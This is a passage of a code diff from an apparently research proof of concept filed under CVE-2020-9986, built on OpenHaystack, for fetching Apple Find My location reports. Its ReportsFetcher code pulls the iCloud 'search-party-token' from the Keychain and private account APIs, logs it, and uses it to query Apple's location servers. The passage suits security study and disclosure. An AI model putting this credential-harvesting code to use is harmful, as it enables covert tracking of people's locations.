/// @param publicKeys Array of hashed public keys (in Base64)
|
||||
/// @param date Start date
|
||||
/// @param duration Duration checked
|
||||
/// @param searchPartyToken Search Party token
|
||||
/// @param completion Called when finished
|
||||
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion;
|
||||
|
||||
/// Fetches the search party token from the macOS Keychain. Returns null if it fails
|
||||
- (NSData * _Nullable) fetchSearchpartyToken;
|
||||
|
||||
/// Get AnisetteData from AuthKit or return an empty dictionary
|
||||
- (NSDictionary *_Nonnull) anisetteDataDictionary;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
173
CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.m
Executable file
173
CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.m
Executable file
@@ -0,0 +1,173 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ReportsFetcher.h"
|
||||
#import <Security/Security.h>
|
||||
|
||||
#import <Accounts/Accounts.h>
|
||||
|
||||
#import "OFFetchReports-Swift.h"
|
||||
|
||||
@implementation ReportsFetcher
|
||||
|
||||
- (NSData * _Nullable) fetchSearchpartyToken {
|
||||
NSDictionary *query = @{
|
||||
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
|
||||
(NSString*) kSecAttrService: @"com.apple.account.AppleAccount.search-party-token",
|
||||
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
|
||||
(NSString*) kSecReturnData: @true
|
||||
};
|
||||
|
||||
CFTypeRef item;
|
||||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
|
||||
|
||||
if (status == errSecSuccess) {
|
||||
NSData *securityToken = (__bridge NSData *)(item);
|
||||
|
||||
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
|
||||
|
||||
if (securityToken.length == 0) {
|
||||
return [self fetchSearchpartyTokenFromAccounts];
|
||||
}
|
||||
|
||||
return securityToken;
|
||||
}
|
||||
|
||||
|
||||
return [self fetchSearchpartyTokenFromAccounts];;
|
||||
}
|
||||
|
||||
- (NSData * _Nullable) fetchSearchpartyTokenFromAccounts {
|
||||
ACAccountStore *accountStore = [[ACAccountStore alloc] init];
|
||||
ACAccountType *accountType = [accountStore accountTypeWithAccountTypeIdentifier:@"com.apple.account.AppleAccount"];
|
||||
|
||||
NSArray *appleAccounts = [accountStore accountsWithAccountType:accountType];
|
||||
|
||||
if (appleAccounts == nil && appleAccounts.count > 0) {return nil;}
|
||||
|
||||
ACAccount *iCloudAccount = appleAccounts[0];
|
||||
ACAccountCredential *iCloudCredentials = iCloudAccount.credential;
|
||||
|
||||
if ([iCloudCredentials respondsToSelector:NSSelectorFromString(@"credentialItems")]) {
|
||||
NSDictionary* credentialItems = [iCloudCredentials performSelector:NSSelectorFromString(@"credentialItems")];
|
||||
NSString *searchPartyToken = credentialItems[@"search-party-token"];
|
||||
NSData *tokenData = [searchPartyToken dataUsingEncoding:NSASCIIStringEncoding];
|
||||
return tokenData;
|
||||
}
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
- (NSString *) fetchAppleAccountId {
|
||||
NSDictionary *query = @{
|
||||
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
|
||||
(NSString*) kSecAttrService: @"iCloud",
|
||||
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
|
||||
(NSString*) kSecReturnAttributes: @true
|
||||
};
|
||||
|
||||
CFTypeRef item;
|
||||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
|
||||
|
||||
if (status == errSecSuccess) {
|
||||
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
|
||||
|
||||
NSString *accountId = itemDict[(NSString *) kSecAttrAccount];
|
||||
|
||||
return accountId;
|
||||
}
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
- (NSString *) basicAuthForAppleID: (NSString *) appleId andToken: (NSData*) token {
|
||||
NSString * tokenString = [[NSString alloc] initWithData:token encoding:NSUTF8StringEncoding];
|
||||
NSString * authText = [NSString stringWithFormat:@"%@:%@", appleId, tokenString];
|
||||
NSString * base64Auth = [[authText dataUsingEncoding:NSUTF8StringEncoding] base64EncodedStringWithOptions:0];
|
||||
NSString *auth = [NSString stringWithFormat:@"Basic %@", base64Auth];
|
||||
|
||||
return auth;
|
||||
}
|
||||
|
||||
- (NSDictionary *) anisetteDataDictionary {
|
||||
|
||||
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
|
||||
[req setHTTPMethod:@"POST"];
|
||||
|
||||
AKAppleIDSession* session = [[NSClassFromString(@"AKAppleIDSession") alloc] initWithIdentifier:@"com.apple.gs.xcode.auth"];
|
||||
NSDictionary *appleHeadersDict = [session appleIDHeadersForRequest:req];
|
||||
|
||||
return appleHeadersDict;
|
||||
}
|
||||
|
||||
- (void) fetchAnisetteData:(void (^)(NSDictionary* _Nullable)) completion {
|
||||
// Use the AltStore mail plugin
|
||||
NSDictionary *anisetteData = [self anisetteDataDictionary];
|
||||
completion(anisetteData);
|
||||
}
|
||||
|
||||
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion {
|
||||
|
||||
// calculate the timestamps for the defined duration
|
||||
long long startDate = [date timeIntervalSince1970] * 1000;
|
||||
long long endDate = ([date timeIntervalSince1970] + duration) * 1000.0;
|
||||
|
||||
NSLog(@"Requesting data for %@", publicKeys);
|
||||
NSDictionary * query = @{
|
||||
@"search": @[
|
||||
@{
|
||||
@"endDate": [NSString stringWithFormat:@"%lli", endDate],
|
||||
@"ids": publicKeys,
|
||||
@"startDate": [NSString stringWithFormat:@"%lli", startDate]
|
||||
}
|
||||
]
|
||||
};
|
||||
NSData *httpBody = [NSJSONSerialization dataWithJSONObject:query options:0 error:nil];
|
||||
|
||||
NSLog(@"Query : %@",query);
|
||||
NSString *authKey = @"authorization";
|
||||
NSData *securityToken = searchPartyToken;
|
||||
NSString *appleId = [self fetchAppleAccountId];
|
||||
NSString *authValue = [self basicAuthForAppleID:appleId andToken:securityToken];
|
||||
|
||||
[self fetchAnisetteData:^(NSDictionary * _Nullable dict) {
|
||||
if (dict == nil) {
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
|
||||
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
|
||||
|
||||
[req setHTTPMethod:@"POST"];
|
||||
[req setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
|
||||
[req setValue:@"application/json" forHTTPHeaderField:@"Accept"];
|
||||
[req setValue:authValue forHTTPHeaderField:authKey];
|
||||
|
||||
|
||||
NSDictionary *appleHeadersDict = dict;
|
||||
for(id key in appleHeadersDict)
|
||||
[req setValue:[appleHeadersDict objectForKey:key] forHTTPHeaderField:key];
|
||||
|
||||
NSLog(@"Headers:\n%@",req.allHTTPHeaderFields);
|
||||
|
||||
[req setHTTPBody:httpBody];
|
||||
|
||||
NSURLResponse * response;
|
||||
NSError * error = nil;
|
||||
NSData * data = [NSURLConnection sendSynchronousRequest:req returningResponse:&response error:&error];
|
||||
|
||||
if (error) {
|
||||
NSLog(@"Error during request: \n\n%@", error);
|
||||
}
|
||||
|
||||
completion(data);
|
||||
}];
|
||||
}
|
||||
|
||||
@end
|
||||
49
CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift
Normal file
49
CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift
Normal file
@@ -0,0 +1,49 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Locations"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Find My Locations"
|
||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
let result = self.panel?.runModal()
|
||||
|
||||
if result == NSApplication.ModalResponse.OK {
|
||||
// Save file
|
||||
let fileURL = self.panel?.url
|
||||
try! self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
guard okFlag else {return nil}
|
||||
|
||||
return filename
|
||||
}
|
||||
|
||||
}
|
||||
753
CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.pbxproj
Normal file
753
CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.pbxproj
Normal file
@@ -0,0 +1,753 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 52;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXAggregateTarget section */
|
||||
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */ = {
|
||||
isa = PBXAggregateTarget;
|
||||
buildConfigurationList = 782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */;
|
||||
buildPhases = (
|
||||
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */,
|
||||
);
|
||||
dependencies = (
|
||||
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */,
|
||||
);
|
||||
name = "Run OFFetchReports";
|
||||
productName = "Run OFFetchReports";
|
||||
};
|
||||
/* End PBXAggregateTarget section */
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC6248E27E700096FCA /* AppDelegate.swift */; };
|
||||
78097EC9248E27E700096FCA /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC8248E27E700096FCA /* ContentView.swift */; };
|
||||
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECA248E27E800096FCA /* Assets.xcassets */; };
|
||||
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECD248E27E800096FCA /* Preview Assets.xcassets */; };
|
||||
78097ED1248E27E800096FCA /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECF248E27E800096FCA /* Main.storyboard */; };
|
||||
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */; };
|
||||
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6A025F0DF3000554BF4 /* AppDelegate.swift */; };
|
||||
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A425F0DF3100554BF4 /* Assets.xcassets */; };
|
||||
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */; };
|
||||
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A925F0DF3100554BF4 /* Main.storyboard */; };
|
||||
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */; };
|
||||
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B225F0DF7C00554BF4 /* MapView.swift */; };
|
||||
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B625F0DFF200554BF4 /* SavePanel.swift */; };
|
||||
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B725F0DFF200554BF4 /* MapViewController.swift */; };
|
||||
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6B825F0DFF200554BF4 /* MapViewController.xib */; };
|
||||
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6BF25F0E02200554BF4 /* BoringSSL.m */; };
|
||||
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */; };
|
||||
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */; };
|
||||
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CF25F0E3F600554BF4 /* FindMyController.swift */; };
|
||||
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D025F0E3F600554BF4 /* Models.swift */; };
|
||||
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */; };
|
||||
782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DA25F0E4C800554BF4 /* NIOSSL */; };
|
||||
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DD25F0E4D900554BF4 /* Crypto */; };
|
||||
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */; };
|
||||
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF8994248E5E71002F39E1 /* FindMyModels.swift */; };
|
||||
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF899A248E7D8D002F39E1 /* SavePanel.swift */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXContainerItemProxy section */
|
||||
782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */ = {
|
||||
isa = PBXContainerItemProxy;
|
||||
containerPortal = 78097EBB248E27E700096FCA /* Project object */;
|
||||
proxyType = 1;
|
||||
remoteGlobalIDString = 782AC69D25F0DF3000554BF4;
|
||||
remoteInfo = OFFetchReports;
|
||||
};
|
||||
/* End PBXContainerItemProxy section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
78097EC3248E27E700096FCA /* OFReadKeys.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFReadKeys.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
78097EC6248E27E700096FCA /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
|
||||
78097EC8248E27E700096FCA /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; };
|
||||
78097ECA248E27E800096FCA /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
78097ECD248E27E800096FCA /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
|
||||
78097ED0248E27E800096FCA /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
|
||||
78097ED2248E27E800096FCA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OFReadKeys.entitlements; sourceTree = "<group>"; };
|
||||
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyKeyExtractor.swift; sourceTree = "<group>"; };
|
||||
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFFetchReports.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
|
||||
782AC6A425F0DF3100554BF4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
|
||||
782AC6AA25F0DF3100554BF4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
|
||||
782AC6AC25F0DF3100554BF4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = OFFetchReportsMainView.swift; sourceTree = "<group>"; };
|
||||
782AC6B225F0DF7C00554BF4 /* MapView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapView.swift; sourceTree = "<group>"; };
|
||||
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.entitlements; path = OFFetchReports.entitlements; sourceTree = "<group>"; };
|
||||
782AC6B625F0DFF200554BF4 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
|
||||
782AC6B725F0DFF200554BF4 /* MapViewController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapViewController.swift; sourceTree = "<group>"; };
|
||||
782AC6B825F0DFF200554BF4 /* MapViewController.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; path = MapViewController.xib; sourceTree = "<group>"; };
|
||||
782AC6BF25F0E02200554BF4 /* BoringSSL.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = BoringSSL.m; sourceTree = "<group>"; };
|
||||
782AC6C025F0E02200554BF4 /* BoringSSL.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = BoringSSL.h; sourceTree = "<group>"; };
|
||||
782AC6C225F0E07200554BF4 /* Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Bridging-Header.h"; sourceTree = "<group>"; };
|
||||
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
|
||||
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
|
||||
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyKeyDecoder.swift; sourceTree = "<group>"; };
|
||||
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
|
||||
782AC6D025F0E3F600554BF4 /* Models.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Models.swift; sourceTree = "<group>"; };
|
||||
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
|
||||
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ReportsFetcher.m; sourceTree = "<group>"; };
|
||||
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = FindMyKeyDecoder.swift; path = ../../../OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift; sourceTree = "<group>"; };
|
||||
78DF8994248E5E71002F39E1 /* FindMyModels.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyModels.swift; sourceTree = "<group>"; };
|
||||
78DF899A248E7D8D002F39E1 /* SavePanel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
78097EC0248E27E700096FCA /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
782AC69B25F0DF3000554BF4 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */,
|
||||
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
78097EBA248E27E700096FCA = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */,
|
||||
78097EC5248E27E700096FCA /* OFReadKeys */,
|
||||
782AC69F25F0DF3000554BF4 /* OFFetchReports */,
|
||||
78097EC4248E27E700096FCA /* Products */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78097EC4248E27E700096FCA /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78097EC3248E27E700096FCA /* OFReadKeys.app */,
|
||||
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78097EC5248E27E700096FCA /* OFReadKeys */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78097EC6248E27E700096FCA /* AppDelegate.swift */,
|
||||
78097EC8248E27E700096FCA /* ContentView.swift */,
|
||||
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */,
|
||||
78DF8994248E5E71002F39E1 /* FindMyModels.swift */,
|
||||
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */,
|
||||
78DF899A248E7D8D002F39E1 /* SavePanel.swift */,
|
||||
78097ECA248E27E800096FCA /* Assets.xcassets */,
|
||||
78097ECF248E27E800096FCA /* Main.storyboard */,
|
||||
78097ED2248E27E800096FCA /* Info.plist */,
|
||||
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */,
|
||||
78097ECC248E27E800096FCA /* Preview Content */,
|
||||
);
|
||||
path = OFReadKeys;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78097ECC248E27E800096FCA /* Preview Content */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78097ECD248E27E800096FCA /* Preview Assets.xcassets */,
|
||||
);
|
||||
path = "Preview Content";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC69F25F0DF3000554BF4 /* OFFetchReports */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6CC25F0E3F600554BF4 /* FindMy */,
|
||||
782AC6BE25F0E02200554BF4 /* BoringSSL */,
|
||||
782AC6B225F0DF7C00554BF4 /* MapView.swift */,
|
||||
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */,
|
||||
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */,
|
||||
782AC6B725F0DFF200554BF4 /* MapViewController.swift */,
|
||||
782AC6B825F0DFF200554BF4 /* MapViewController.xib */,
|
||||
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */,
|
||||
782AC6B625F0DFF200554BF4 /* SavePanel.swift */,
|
||||
782AC6A425F0DF3100554BF4 /* Assets.xcassets */,
|
||||
782AC6A925F0DF3100554BF4 /* Main.storyboard */,
|
||||
782AC6AC25F0DF3100554BF4 /* Info.plist */,
|
||||
782AC6A625F0DF3100554BF4 /* Preview Content */,
|
||||
);
|
||||
path = OFFetchReports;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC6A625F0DF3100554BF4 /* Preview Content */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */,
|
||||
);
|
||||
path = "Preview Content";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC6BE25F0E02200554BF4 /* BoringSSL */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6BF25F0E02200554BF4 /* BoringSSL.m */,
|
||||
782AC6C025F0E02200554BF4 /* BoringSSL.h */,
|
||||
782AC6C225F0E07200554BF4 /* Bridging-Header.h */,
|
||||
);
|
||||
path = BoringSSL;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC6CC25F0E3F600554BF4 /* FindMy */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */,
|
||||
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */,
|
||||
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */,
|
||||
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */,
|
||||
782AC6D025F0E3F600554BF4 /* Models.swift */,
|
||||
);
|
||||
path = FindMy;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */,
|
||||
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */,
|
||||
);
|
||||
name = ReportsFetcher;
|
||||
path = OFFetchReports/ReportsFetcher;
|
||||
sourceTree = SOURCE_ROOT;
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
78097EC2248E27E700096FCA /* OFReadKeys */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */;
|
||||
buildPhases = (
|
||||
78097EBF248E27E700096FCA /* Sources */,
|
||||
78097EC0248E27E700096FCA /* Frameworks */,
|
||||
78097EC1248E27E700096FCA /* Resources */,
|
||||
78FFC97C25EE98680062F878 /* SwiftLint */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = OFReadKeys;
|
||||
productName = Read_FindMy_Keys;
|
||||
productReference = 78097EC3248E27E700096FCA /* OFReadKeys.app */;
|
||||
productType = "com.apple.product-type.application";
|
||||
};
|
||||
782AC69D25F0DF3000554BF4 /* OFFetchReports */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */;
|
||||
buildPhases = (
|
||||
782AC69A25F0DF3000554BF4 /* Sources */,
|
||||
782AC69B25F0DF3000554BF4 /* Frameworks */,
|
||||
782AC69C25F0DF3000554BF4 /* Resources */,
|
||||
782AC6C325F0E2A300554BF4 /* SwiftLint */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
